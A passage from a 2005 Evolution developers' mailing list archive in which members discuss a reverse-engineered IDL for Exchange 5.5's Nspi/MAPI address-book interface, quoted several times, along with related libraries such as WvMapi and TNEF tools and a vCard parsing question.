[switch_is(rt)] EMS_SRestriction_CTR res; > } EMS_SRestriction; > > long NspiGetMatches( > [in] emsabp_hnd_t element_110, > [in] long element_111, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > [in, unique] EMS_SPropTagArray *element_113, > [in] long element_114, > [in, unique] EMS_SRestriction *element_115, > [in, unique] EMS_MAPINAMEID *element_116, > [in] long element_117, > [out, ref] EMS_SPropTagArray *element_118, > [in, ref] EMS_SPropTagArray *element_119, > [out, ref] EMS_SRowSet_PTR *element_120 > ); > > long NspiResortRestriction( > [in] emsabp_hnd_t element_121, > [in] long element_122, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > [in, ref] EMS_SPropTagArray *element_124, > [in,out, ref] EMS_LPSPropTagArray *element_125 > ); > > typedef struct { > long element_126; > [unique, string] char *element_127; > } EMS_NAME_STRING; > > long NspiDNToEph( > [in] emsabp_hnd_t element_128, > [in] long element_129, > [in, ref] EMS_NAME_STRING *element_130, > [out, ref] EMS_SPropTagArray *element_131 > ); > > long NspiGetPropList( > [in] emsabp_hnd_t element_132, > [in] long element_133, > [in] long element_134, > [in] long element_135, > [out, ref] EMS_LPSPropTagArray *element_136 > ); > > long NspiGetProps( > [in] emsabp_hnd_t element_137, > [in] long element_138, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > [in, unique] EMS_SPropTagArray *element_140, > [out, ref] EMS_SRow_PTR *element_141 > ); > > long NspiCompareDNTs( > [in] emsabp_hnd_t element_142, > [in] long element_143, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > [in] long element_145, > [in] long element_146, > [out, ref] long *element_147 > ); > > long NspiModProps( > [in] emsabp_hnd_t element_148, > [in] long element_149, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > [in, unique] EMS_SPropTagArray *element_151, > [in, ref] EMS_SRow *element_152 > ); > > long NspiGetHierarchyInfo( > [in] emsabp_hnd_t element_153, > [in] long element_154, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > [in,out, ref] long *element_156, > [out, ref] EMS_SRowSet_PTR *element_157 > ); > > long NspiGetTemplateInfo( > [in] emsabp_hnd_t element_158, > [in] long element_159, > [in] long element_160, > [in, unique, string] char *element_161, > [in] long element_162, > [in] long element_163, > [out, ref] EMS_SRow_PTR *element_164 > ); > > long NspiModLInkAtt( > [in] emsabp_hnd_t element_165, > [in] long element_166, > [in] long element_167, > [in] long element_168, > [in, ref] EMS_SBinaryArray *element_169 > ); > > long NspiDeleteEntries( > [in] emsabp_hnd_t element_170, > [in] long element_171, > [in] long element_172, > [in, ref] EMS_SBinaryArray *element_173 > ); > > long NspiQueryColumns( > [in] emsabp_hnd_t element_174, > [in] long element_175, > [in] long element_176, > [out, ref] EMS_LPSPropTagArray *element_177 > ); > > typedef struct { > long element_178; > [unique] MAPIUID *element_179; > } EMS_NAME_CLSID; > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > long NspiGetNamesFromIDs( > [in] emsabp_hnd_t element_180, > [in] long element_181, > [in, unique] MAPIUID *element_182, > [in, unique] EMS_SPropTagArray *element_183, > [out, ref] EMS_LPSPropTagArray *element_184, > [out, ref] EMS_NAME_CLSID_PTR *element_185 > ); > > long NspiGetIDsFromNames( > [in] emsabp_hnd_t element_186, > [in] long element_187, > [in] long element_188, > [in] long element_189, > [in, size_is(element_189), ref] long *element_190, > [out, ref] EMS_LPSPropTagArray *element_191 > ); > > long NspiResolveNames( > [in] emsabp_hnd_t element_192, > [in] long element_193, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > [in, unique] EMS_SPropTagArray *element_195, > [in, ref] EMS_NAME_STRING *element_196, > [out, ref] EMS_LPSPropTagArray *element_197, > [out, ref] EMS_SRowSet_PTR *element_198 > ); > > typedef struct { > long element_199; > [unique, string] WCHAR *element_200; > } EMS_NAME_UNICODE; > > long NspiResolveNamesW( > [in] emsabp_hnd_t element_201, > [in] long element_202, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > [in, unique] EMS_SPropTagArray *element_204, > [in, ref] EMS_NAME_UNICODE *element_205, > [out, ref] EMS_LPSPropTagArray *element_206, > [out, ref] EMS_SRowSet_PTR *element_207 > ); > > } > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > From colding@omesc.com Tue Feb 1 13:59:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B4518124A2E; Tue, 1 Feb 2005 13:59:00 -0500 (EST) Received: from pfepb.post.tele.dk (pfepb.post.tele.dk [195.41.46.236]) by lists.ximian.com (Postfix) with ESMTP id 7D58A124A96 for ; Tue, 1 Feb 2005 13:58:47 -0500 (EST) Received: from thor (0x503e4cbe.odnxx2.adsl-dhcp.tele.dk [80.62.76.190]) by pfepb.post.tele.dk (Postfix) with ESMTP id 593DD5EE02B; Tue, 1 Feb 2005 19:58:18 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: Luke Kenneth Casson Leighton Cc: Evolution Hackers In-Reply-To: <20050201150641.GV5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> Content-Type: text/plain Organization: OMC Denmark ApS Date: Tue, 01 Feb 2005 19:58:18 +0100 Message-Id: <1107284298.6737.6.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Why dont you use MAPI directly in Evolution? Well not MAPI itself, but the CORBA wrapper for MAPI (www.omesc.com). -- jules On Tue, 2005-02-01 at 15:06 +0000, Luke Kenneth Casson Leighton wrote: > hi, > > i've begun the network-reverse-engineering necessary to interoperating > with Exchange 5.5 and Outlook. > > i have a basic test client and a basic server which is able to return > hard coded data structures. > > the key difference between the present attempt and all previous ones is > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > turns that into c code, and it's a matter of filling in the blanks. > > unfortunately there are a lot of blanks. _fortunately_, the data > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > anybody interested in helping out please contact me. > > in particular, help with tying in MAPI which is actually MS-TNEF which > is winmail.dat which is therefore directly relevant to evolution, > much appreciated. > > l. > > -- > -- > http://lkcl.net > -- > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > version(56.0), > implicit_handle(handle_t rpc_binding) > ] interface emsabp > { > > /* this is mostly identical to wine/include/mapidefs.h, > * up until MAPIERROR, at which point it looks completely > * unfamiliar and alien. > * > * the functions in the IMAPITable only look _vaguely_ > * familiar but are like, utterly different. > * really odd. same data structures. different functions. > * oh well. > */ > > #define PR_ENTRYID 0x0fff0102 > #define PR_OBJECTID 0xfffd0003 > #define PR_DISPLAY_NAME 0x3001001e > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > #define PR_DEPTH 0x30050003 > #define PR_PARENTENTRYID 0xfffc0102 > > typedef unsigned short WCHAR; > > typedef struct { > long element_1; > long element_2; > long element_3; > long element_4; > long element_5; > long element_6; > long element_7; > long element_8; > long element_9; > } EMS_MAPI_UNIDENTIFIED; > > typedef struct { > char ab[16]; > } MAPIUID; > > typedef [context_handle] void *emsabp_hnd_t; > > long NspiBind( > [in] handle_t element_11, > [in] long element_12, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > [in,out, unique] MAPIUID *element_14, > [out] emsabp_hnd_t *element_15 > ); > > long NspiUnbind( > [in,out] emsabp_hnd_t *element_16, > [in] long element_17 > ); > > long NspiUpdateStat( > [in] emsabp_hnd_t element_18, > [in] long element_19, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > [in,out, unique] long *element_21 > ); > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > /* this is probably an SPropTagArray. although it doesn't match > * up with the definition in wine/includes/mapidefs.h, it also > * is the data structure i've had the most difficulty with, matching > * it to on-wire format. > */ > typedef struct { > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > long cValues; > /*long element_24;*/ > } EMS_SPropTagArray; > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > typedef struct { > long cb; > [size_is(cb), ptr] char *lpb; > } EMS_SBinary; > > typedef struct { > long dwLowDateTime; > long dwHighDateTime; > } EMS_FILETIME; > > typedef struct { > long cValues; > [size_is(cValues), ptr] short *lpi; > } EMS_SShortArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpl; > } EMS_MULTIVALUE_LONG_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > } EMS_SLPSTRArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_SBinary *lpbin; > } EMS_SBinaryArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > } EMS_SGuidArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > } EMS_MULTIVALUE_UNICODE_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_FILETIME *lpft; > } EMS_SDateTimeArray; > > typedef [ptr, string] unsigned short *WSTRING; > typedef [ptr, string] char *STRING; > > #define PT_UNSPECIFIED 0x0000 > #define PT_NULL 0x0001 > #define PT_I2 0002 > #define PT_LONG 0003 > #define PT_R4 0004 > #define PT_DOUBLE 0x0005 > #define PT_CURRENCY 0x0006 > #define PT_APPTIME 0x0007 > /*#define PT_CLSID 0x0008 */ > #define PT_ERROR 0x000a > /* > means in a response package, that the given attribute contains no value, > or not exists. > -> So it won't be contained in the enumeration of the attrib. values array. > */ > #define PT_BOOLEAN 0x000b > #define PT_OBJECT 0x000d > #define PT_I8 0x0014 > #define PT_STRING8 0x001e > #define PT_UNICODE 0x001f > #define PT_SYSTIME 0x0040 > #define PT_CLSID 0x0048 > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > /* MV means MultiValued*/ > #define PT_MV_I2 0x1002 > #define PT_MV_LONG 0x1003 > #define PT_MV_R4 0x1004 > #define PT_MV_DOUBLE 0x1005 > #define PT_MV_CURRENCY 0x1006 > #define PT_MV_APPTIME 0x1007 > #define PT_MV_I8 0x1014 > #define PT_MV_STRING8 0x101e > #define PT_MV_TSTRING 0x101e > #define PT_MV_UNICODE 0x101f > #define PT_MV_SYSTIME 0x1040 > #define PT_MV_CLSID 0x1048 > #define PT_MV_BINARY 0x1102 > > typedef [switch_type(long)] union { > [case(PT_I2)] short i; > [case(PT_LONG)] long l; > [case(PT_BOOLEAN)] short b; > [case(PT_STRING8)] STRING lpszA; > [case(PT_BINARY)] EMS_SBinary bin; > [case(PT_UNICODE)] WSTRING lpszW; > [case(PT_CLSID), ptr] MAPIUID *lpguid; > [case(PT_SYSTIME)] EMS_FILETIME ft; > [case(PT_ERROR)] long err; > [case(PT_MV_I2)] EMS_SShortArray MVi; > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > [case(PT_NULL)] long null; > [case(PT_OBJECT)] long object; > } EMS_SPropValue_CTR; > > typedef struct { > long ulPropTag; > long dwAlignPad; > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > } EMS_SPropValue; > > typedef struct { > long ulAdrEntryPad; > long cValues; > [size_is(cValues), unique] EMS_SPropValue *lpProps; > } EMS_SRow; > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > typedef struct { > long cRows; > [size_is(cRows)] EMS_SRow aRow[*]; > } EMS_SRowSet; > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > long NspiQueryRows( > [in] emsabp_hnd_t element_69, > [in] long element_70, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > [in] long lRows, > [in, size_is(lRows), unique] long *element_73, > [in] long element_74, > [in, ref] EMS_SPropTagArray *element_75, > [out, ref] EMS_SRowSet_PTR *element_76 > ); > > long NspiSeekEntries( > [in] emsabp_hnd_t element_77, > [in] long element_78, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > [in, ref] EMS_SPropValue *element_80, > [in, unique] EMS_SPropTagArray *element_81, > [in, unique] EMS_SPropTagArray *element_82, > [out, ref] EMS_SRowSet_PTR *element_83 > ); > > typedef [ptr] struct _SRestriction *LPSRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SAndRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SOrRestriction; > > typedef struct { > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > LPSRestriction lpRes; > } EMS_SNotRestriction; > > typedef struct { > long ulFuzzyLevel; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SContentRestriction; > > typedef struct { > long relop; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SPropertyRestriction; > > typedef struct { > long ulReserved1; > long ulPropTag; > long ulReserved2; > } EMS_SExistRestriction; > > typedef struct { > long relop; > long ulPropTag; > long cb; > } EMS_SSizeRestriction; > > typedef struct { > long relBMR; > long ulPropTag; > long ulMask; > } EMS_SBitMaskRestriction; > > typedef struct { > long relop; > long ulPropTag1; > long ulPropTag2; > } EMS_SComparePropsRestriction; > > typedef struct { > long ulSubObject; > LPSRestriction lpRes; > } EMS_SSubRestriction; > > typedef struct { > [unique] MAPIUID *lpguid; > long ulKind; > long lID; /* this is actually a union in mapidefs.h */ > } EMS_MAPINAMEID; > > /* Restriction types */ > #define RES_AND 0U > #define RES_OR 1U > #define RES_NOT 2U > #define RES_CONTENT 3U > #define RES_PROPERTY 4U > #define RES_COMPAREPROPS 5U > #define RES_BITMASK 6U > #define RES_SIZE 7U > #define RES_EXIST 8U > #define RES_SUBRESTRICTION 9U > #define RES_COMMENT 10U > > > typedef [switch_type(long)] union { > [case(RES_AND) ] EMS_SAndRestriction resAnd; > [case(RES_OR) ] EMS_SOrRestriction resOr; > [case(RES_NOT) ] EMS_SNotRestriction resNot; > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > /* case SCommentRestriction is missing! */ > } EMS_SRestriction_CTR; > > typedef struct _SRestriction { > long rt; > [switch_is(rt)] EMS_SRestriction_CTR res; > } EMS_SRestriction; > > long NspiGetMatches( > [in] emsabp_hnd_t element_110, > [in] long element_111, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > [in, unique] EMS_SPropTagArray *element_113, > [in] long element_114, > [in, unique] EMS_SRestriction *element_115, > [in, unique] EMS_MAPINAMEID *element_116, > [in] long element_117, > [out, ref] EMS_SPropTagArray *element_118, > [in, ref] EMS_SPropTagArray *element_119, > [out, ref] EMS_SRowSet_PTR *element_120 > ); > > long NspiResortRestriction( > [in] emsabp_hnd_t element_121, > [in] long element_122, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > [in, ref] EMS_SPropTagArray *element_124, > [in,out, ref] EMS_LPSPropTagArray *element_125 > ); > > typedef struct { > long element_126; > [unique, string] char *element_127; > } EMS_NAME_STRING; > > long NspiDNToEph( > [in] emsabp_hnd_t element_128, > [in] long element_129, > [in, ref] EMS_NAME_STRING *element_130, > [out, ref] EMS_SPropTagArray *element_131 > ); > > long NspiGetPropList( > [in] emsabp_hnd_t element_132, > [in] long element_133, > [in] long element_134, > [in] long element_135, > [out, ref] EMS_LPSPropTagArray *element_136 > ); > > long NspiGetProps( > [in] emsabp_hnd_t element_137, > [in] long element_138, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > [in, unique] EMS_SPropTagArray *element_140, > [out, ref] EMS_SRow_PTR *element_141 > ); > > long NspiCompareDNTs( > [in] emsabp_hnd_t element_142, > [in] long element_143, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > [in] long element_145, > [in] long element_146, > [out, ref] long *element_147 > ); > > long NspiModProps( > [in] emsabp_hnd_t element_148, > [in] long element_149, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > [in, unique] EMS_SPropTagArray *element_151, > [in, ref] EMS_SRow *element_152 > ); > > long NspiGetHierarchyInfo( > [in] emsabp_hnd_t element_153, > [in] long element_154, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > [in,out, ref] long *element_156, > [out, ref] EMS_SRowSet_PTR *element_157 > ); > > long NspiGetTemplateInfo( > [in] emsabp_hnd_t element_158, > [in] long element_159, > [in] long element_160, > [in, unique, string] char *element_161, > [in] long element_162, > [in] long element_163, > [out, ref] EMS_SRow_PTR *element_164 > ); > > long NspiModLInkAtt( > [in] emsabp_hnd_t element_165, > [in] long element_166, > [in] long element_167, > [in] long element_168, > [in, ref] EMS_SBinaryArray *element_169 > ); > > long NspiDeleteEntries( > [in] emsabp_hnd_t element_170, > [in] long element_171, > [in] long element_172, > [in, ref] EMS_SBinaryArray *element_173 > ); > > long NspiQueryColumns( > [in] emsabp_hnd_t element_174, > [in] long element_175, > [in] long element_176, > [out, ref] EMS_LPSPropTagArray *element_177 > ); > > typedef struct { > long element_178; > [unique] MAPIUID *element_179; > } EMS_NAME_CLSID; > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > long NspiGetNamesFromIDs( > [in] emsabp_hnd_t element_180, > [in] long element_181, > [in, unique] MAPIUID *element_182, > [in, unique] EMS_SPropTagArray *element_183, > [out, ref] EMS_LPSPropTagArray *element_184, > [out, ref] EMS_NAME_CLSID_PTR *element_185 > ); > > long NspiGetIDsFromNames( > [in] emsabp_hnd_t element_186, > [in] long element_187, > [in] long element_188, > [in] long element_189, > [in, size_is(element_189), ref] long *element_190, > [out, ref] EMS_LPSPropTagArray *element_191 > ); > > long NspiResolveNames( > [in] emsabp_hnd_t element_192, > [in] long element_193, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > [in, unique] EMS_SPropTagArray *element_195, > [in, ref] EMS_NAME_STRING *element_196, > [out, ref] EMS_LPSPropTagArray *element_197, > [out, ref] EMS_SRowSet_PTR *element_198 > ); > > typedef struct { > long element_199; > [unique, string] WCHAR *element_200; > } EMS_NAME_UNICODE; > > long NspiResolveNamesW( > [in] emsabp_hnd_t element_201, > [in] long element_202, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > [in, unique] EMS_SPropTagArray *element_204, > [in, ref] EMS_NAME_UNICODE *element_205, > [out, ref] EMS_LPSPropTagArray *element_206, > [out, ref] EMS_SRowSet_PTR *element_207 > ); > > } > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From hpj@ximian.com Tue Feb 1 18:24:27 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4BCAC1240BC; Tue, 1 Feb 2005 18:24:27 -0500 (EST) Received: from bzzzt.fix.no (unity.copyleft.no [212.71.72.23]) by lists.ximian.com (Postfix) with ESMTP id 1259E124015 for ; Tue, 1 Feb 2005 18:24:24 -0500 (EST) Received: from bzzzt.fix.no ([212.71.72.20] helo=localhost) by bzzzt.fix.no with esmtp (Exim 3.33 #1) id 1Cw7NH-000CUO-00; Wed, 02 Feb 2005 00:23:59 +0100 Subject: Re: [Evolution-hackers] vcard 2.1 implementation From: Hans Petter Jansson To: Armin Bauer Cc: Sivaiah Nallagatla , JP Rosevear , evolution-hackers@lists.ximian.com In-Reply-To: <1106992008.3426.7.camel@azrael> References: <1106652534.3382.7.camel@azrael> <1106719832.4039.47.camel@bishop.rosevear.com> <1106734446.3350.16.camel@azrael> <1106813371.29650.6.camel@Gr8-Siva.hathaway> <1106992008.3426.7.camel@azrael> Content-Type: text/plain Date: Tue, 01 Feb 2005 17:24:04 -0600 Message-Id: <1107300245.8259.104.camel@envy.site> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-01-29 at 10:46 +0100, Armin Bauer wrote: > Is there a specific reason e-vcard.c can only parse vcards (besides the > name)? I wanted to use it to parse other stuff as well (like vcal, > vnotes etc), but it only seems to handle vcards even though the BNR of > all is the same: > > contentline = [group "."] name *(";" param ) ":" value CRLF > > Why not implement it as a generic parser that understands the vformat > and implement some more convinient "interfaces" to this parser for the > vcard, vcal and vnote standard that would then handle the specific > stuff? It would be too big a change short-term. But for the long term, a separate library implementing generic v* parsing could be interesting. -- Hans Petter Jansson | Evolution Developer | http://hp.cl.no/ From lkcl@lkcl.net Tue Feb 1 15:08:03 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id CFE331241AC; Tue, 1 Feb 2005 15:08:02 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id E256C1241AC for ; Tue, 1 Feb 2005 15:07:42 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id 4817DBFE1; Tue, 1 Feb 2005 20:07:32 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cw4TE-0002bG-Op; Tue, 01 Feb 2005 20:17:56 +0000 Date: Tue, 1 Feb 2005 20:17:56 +0000 From: Luke Kenneth Casson Leighton To: Peter Colijn Cc: evolution-hackers@lists.ximian.com Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050201201756.GM5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7c35b00e050201105168b14d75@mail.gmail.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-31.2 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_NJABL,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MUTT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: thank you peter! there's yTNEF, there's a debian package called tnef, there's KDE tnef, there's this, that, it's kinda fun :) On Tue, Feb 01, 2005 at 10:51:18AM -0800, Peter Colijn wrote: > Hi Luke, > > You might want to check out WvMapi. You can download it at > http://open.nit.ca/wiki/?DownloadSnapshots (get the > evolution-exchangeit tarball, look for the wvampi subdirectory). > > WvMapi currently supports decoding/encoding TNEFs containing the > attMapiProps attribute, from standard iCalendar and vCard files. It's > under LGPL. > > Have fun, > > Peter > > > On Tue, 1 Feb 2005 15:06:41 +0000, Luke Kenneth Casson Leighton > wrote: > > hi, > > > > i've begun the network-reverse-engineering necessary to interoperating > > with Exchange 5.5 and Outlook. > > > > i have a basic test client and a basic server which is able to return > > hard coded data structures. > > > > the key difference between the present attempt and all previous ones is > > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > > turns that into c code, and it's a matter of filling in the blanks. > > > > unfortunately there are a lot of blanks. _fortunately_, the data > > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > > > anybody interested in helping out please contact me. > > > > in particular, help with tying in MAPI which is actually MS-TNEF which > > is winmail.dat which is therefore directly relevant to evolution, > > much appreciated. > > > > l. > > > > -- > > -- > > http://lkcl.net > > -- > > > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > > version(56.0), > > implicit_handle(handle_t rpc_binding) > > ] interface emsabp > > { > > > > /* this is mostly identical to wine/include/mapidefs.h, > > * up until MAPIERROR, at which point it looks completely > > * unfamiliar and alien. > > * > > * the functions in the IMAPITable only look _vaguely_ > > * familiar but are like, utterly different. > > * really odd. same data structures. different functions. > > * oh well. > > */ > > > > #define PR_ENTRYID 0x0fff0102 > > #define PR_OBJECTID 0xfffd0003 > > #define PR_DISPLAY_NAME 0x3001001e > > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > > #define PR_DEPTH 0x30050003 > > #define PR_PARENTENTRYID 0xfffc0102 > > > > typedef unsigned short WCHAR; > > > > typedef struct { > > long element_1; > > long element_2; > > long element_3; > > long element_4; > > long element_5; > > long element_6; > > long element_7; > > long element_8; > > long element_9; > > } EMS_MAPI_UNIDENTIFIED; > > > > typedef struct { > > char ab[16]; > > } MAPIUID; > > > > typedef [context_handle] void *emsabp_hnd_t; > > > > long NspiBind( > > [in] handle_t element_11, > > [in] long element_12, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > > [in,out, unique] MAPIUID *element_14, > > [out] emsabp_hnd_t *element_15 > > ); > > > > long NspiUnbind( > > [in,out] emsabp_hnd_t *element_16, > > [in] long element_17 > > ); > > > > long NspiUpdateStat( > > [in] emsabp_hnd_t element_18, > > [in] long element_19, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > > [in,out, unique] long *element_21 > > ); > > > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > > > /* this is probably an SPropTagArray. although it doesn't match > > * up with the definition in wine/includes/mapidefs.h, it also > > * is the data structure i've had the most difficulty with, matching > > * it to on-wire format. > > */ > > typedef struct { > > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > > long cValues; > > /*long element_24;*/ > > } EMS_SPropTagArray; > > > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > > > typedef struct { > > long cb; > > [size_is(cb), ptr] char *lpb; > > } EMS_SBinary; > > > > typedef struct { > > long dwLowDateTime; > > long dwHighDateTime; > > } EMS_FILETIME; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] short *lpi; > > } EMS_SShortArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpl; > > } EMS_MULTIVALUE_LONG_STRUCT; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > > } EMS_SLPSTRArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] EMS_SBinary *lpbin; > > } EMS_SBinaryArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > > } EMS_SGuidArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > > } EMS_MULTIVALUE_UNICODE_STRUCT; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] EMS_FILETIME *lpft; > > } EMS_SDateTimeArray; > > > > typedef [ptr, string] unsigned short *WSTRING; > > typedef [ptr, string] char *STRING; > > > > #define PT_UNSPECIFIED 0x0000 > > #define PT_NULL 0x0001 > > #define PT_I2 0002 > > #define PT_LONG 0003 > > #define PT_R4 0004 > > #define PT_DOUBLE 0x0005 > > #define PT_CURRENCY 0x0006 > > #define PT_APPTIME 0x0007 > > /*#define PT_CLSID 0x0008 */ > > #define PT_ERROR 0x000a > > /* > > means in a response package, that the given attribute contains no value, > > or not exists. > > -> So it won't be contained in the enumeration of the attrib. values array. > > */ > > #define PT_BOOLEAN 0x000b > > #define PT_OBJECT 0x000d > > #define PT_I8 0x0014 > > #define PT_STRING8 0x001e > > #define PT_UNICODE 0x001f > > #define PT_SYSTIME 0x0040 > > 